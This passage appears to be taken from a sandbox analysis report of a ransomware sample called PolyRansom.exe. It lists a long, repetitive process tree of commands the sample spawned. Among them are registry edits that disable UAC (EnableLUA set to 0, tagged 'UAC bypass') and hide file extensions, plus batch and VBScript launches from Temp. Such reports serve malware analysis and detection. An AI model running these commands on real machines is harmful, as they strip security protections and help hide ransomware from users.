reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
95⤵
PID:5796

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
95⤵
- UAC bypass
PID:5352

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nkUkQMcE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
95⤵
PID:1504

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
96⤵
PID:3876

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
93⤵
PID:4732

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
93⤵
- Modifies registry key
PID:5684

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
93⤵
- UAC bypass
PID:208

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\dakIkYUE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
93⤵
PID:232

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
94⤵
PID:216

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
91⤵
PID:1124

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
91⤵
PID:5652

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
91⤵
- UAC bypass
PID:5368

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KesUUMEk.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
91⤵
PID:5604

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
92⤵
PID:1936

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
89⤵
- Modifies visibility of file extensions in Explorer
PID:5864

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
89⤵
PID:6112

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
89⤵
PID:5680

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\IUwwwAAo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
89⤵
PID:6016

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
90⤵
PID:5000

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
87⤵
PID:1852

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
87⤵
PID:4880

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
87⤵
PID:5724

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qOsUQMQw.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
87⤵
PID:3436

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
88⤵
PID:5012

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
85⤵
- Modifies visibility of file extensions in Explorer
PID:3772

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
85⤵
PID:1768

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
85⤵
- UAC bypass
PID:5804

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LaUwIQQY.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
85⤵
PID:5508

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
86⤵
PID:6092

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
83⤵
- Modifies registry key
PID:4136

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
83⤵
PID:740

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
83⤵
PID:5720

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LQwQEkIo.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
83⤵
PID:2740

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
84⤵
PID:1776

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
81⤵
- Modifies visibility of file extensions in Explorer
- Modifies registry key
PID:6048

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
81⤵
- Modifies registry key
PID:4776

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
81⤵
PID:5532

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jsAgkowQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
81⤵
PID:2400

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
82⤵
PID:1936

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
79⤵
- Modifies visibility of file extensions in Explorer
PID:3848

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
79⤵
PID:5432

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
79⤵
- UAC bypass
PID:5844

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CQEQwAQc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
79⤵
PID:2408

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
80⤵
PID:3128

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
77⤵
- Modifies visibility of file extensions in Explorer
PID:1448

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
77⤵
PID:1824

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
77⤵
- UAC bypass
PID:5852

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SyowogUI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
77⤵
PID:2792

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
78⤵
PID:3492

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
75⤵
- Modifies visibility of file extensions in Explorer
PID:680

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
75⤵
PID:4308

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
75⤵
PID:5812

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KYYwUwAs.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
75⤵
PID:5616

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
76⤵
PID:1976

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
73⤵
PID:1900

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
73⤵
PID:3700

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
73⤵
- UAC bypass
PID:5728

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\dckUsoMc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
73⤵
PID:1796

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
74⤵
PID:5796

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
71⤵
PID:4612

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
71⤵
PID:1632

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
71⤵
- UAC bypass
PID:6124

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZkwIwQsQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
71⤵
PID:4416

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
72⤵
PID:4296

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
69⤵
PID:3124

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
69⤵
PID:6096

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
69⤵
PID:2820

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\bYQMYwUY.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
69⤵
PID:3200

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
70⤵
PID:3128

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
67⤵
PID:5700

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
67⤵
PID:5528

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
67⤵
- Modifies registry key
PID:5108

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AoMwUQAg.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
67⤵
PID:4404

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
68⤵
PID:4816

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
65⤵
PID:6008

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
65⤵
PID:4980

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
65⤵
- UAC bypass
PID:3872

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\eQMcUgYw.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
65⤵
PID:5600

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
66⤵
PID:5564

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
63⤵
PID:5772

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
63⤵
PID:3152

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
63⤵
- UAC bypass
PID:436

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\OwosAQkw.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
63⤵
PID:388

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
64⤵
PID:1096

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
61⤵
- Modifies registry key
PID:3816

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
61⤵
PID:4304

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
61⤵
PID:4476

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xwosYYAw.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
61⤵
PID:4272

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
62⤵
PID:5604

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
59⤵
PID:556

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
59⤵
PID:2196

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
59⤵
- UAC bypass
PID:748

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VKcwMIwQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
59⤵
PID:4732

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
60⤵
PID:3616

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
57⤵
- Modifies visibility of file extensions in Explorer
PID:5400

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
57⤵
PID:1256

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
57⤵
PID:5932

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TEAkUwoI.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
57⤵
PID:5984

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
58⤵
PID:5424

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
55⤵
PID:2316

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
55⤵
- Modifies registry key
PID:2088

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
55⤵
- Modifies registry key
PID:4980

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tOIwkwIE.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
55⤵
PID:5836

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
56⤵
PID:2472

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
53⤵
- Modifies visibility of file extensions in Explorer
PID:1116

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
53⤵
PID:4344

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
53⤵
PID:4916

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\YqQYQIwc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
53⤵
PID:948

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
54⤵
PID:5060

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
51⤵
PID:4272

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
51⤵
PID:232

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
51⤵
PID:4944

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\sKAYQAIQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
51⤵
PID:5776

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
52⤵
PID:5760

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
49⤵
PID:2196

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
49⤵
PID:5800

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
49⤵
- UAC bypass
PID:4204

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CYwcoswg.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
49⤵
PID:3344

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
50⤵
PID:5280

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
47⤵
- Modifies visibility of file extensions in Explorer
PID:1256

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
47⤵
PID:5996

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
47⤵
- Modifies registry key
PID:1348

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FWgMIQUQ.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
47⤵
PID:5408

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
48⤵
PID:5808

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
45⤵
PID:2520

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
45⤵
PID:4836

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
45⤵
PID:5852

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nCsQcogU.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
45⤵
PID:5812

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
46⤵
PID:1448

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
43⤵
- Modifies visibility of file extensions in Explorer
PID:2508

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
43⤵
PID:3756

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
43⤵
- UAC bypass
PID:5548

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LYQQkMQc.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
43⤵
PID:2028

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
44⤵
PID:1760

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
41⤵
- Modifies registry key
PID:5000

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
41⤵
PID:2544

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
41⤵
PID:3144

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wKQcAMgM.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
41⤵
PID:5284

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
42⤵
PID:3712

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
39⤵
- Modifies visibility of file extensions in Explorer
PID:3616

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
39⤵
PID:5800

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
39⤵
- UAC bypass
PID:2376

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CUoAcYQw.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
39⤵
PID:436

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
40⤵
PID:3124

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
37⤵
PID:5996

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
37⤵
PID:4804

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
37⤵
PID:5408

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\QuoEYYIA.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
37⤵
PID:1976

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
38⤵
PID:3320

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
35⤵
PID:3184

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
35⤵
PID:4672

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
35⤵
- UAC bypass
- Modifies registry key
PID:2320

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gmwsEowA.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
35⤵
PID:5480

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
36⤵
PID:3876

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
33⤵
- Modifies visibility of file extensions in Explorer
PID:1464

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
33⤵
PID:5856

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
33⤵
- UAC bypass
PID:5824

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jEMYAUgk.bat" "C:\Users\Admin\Downloads\PolyRansom.exe""
33⤵
PID:524

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
34⤵
PID:3880

C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
31⤵
- Modifies visibility of file extensions in Explorer
PID:5284

C:\Windows\SysWOW64\reg.exe
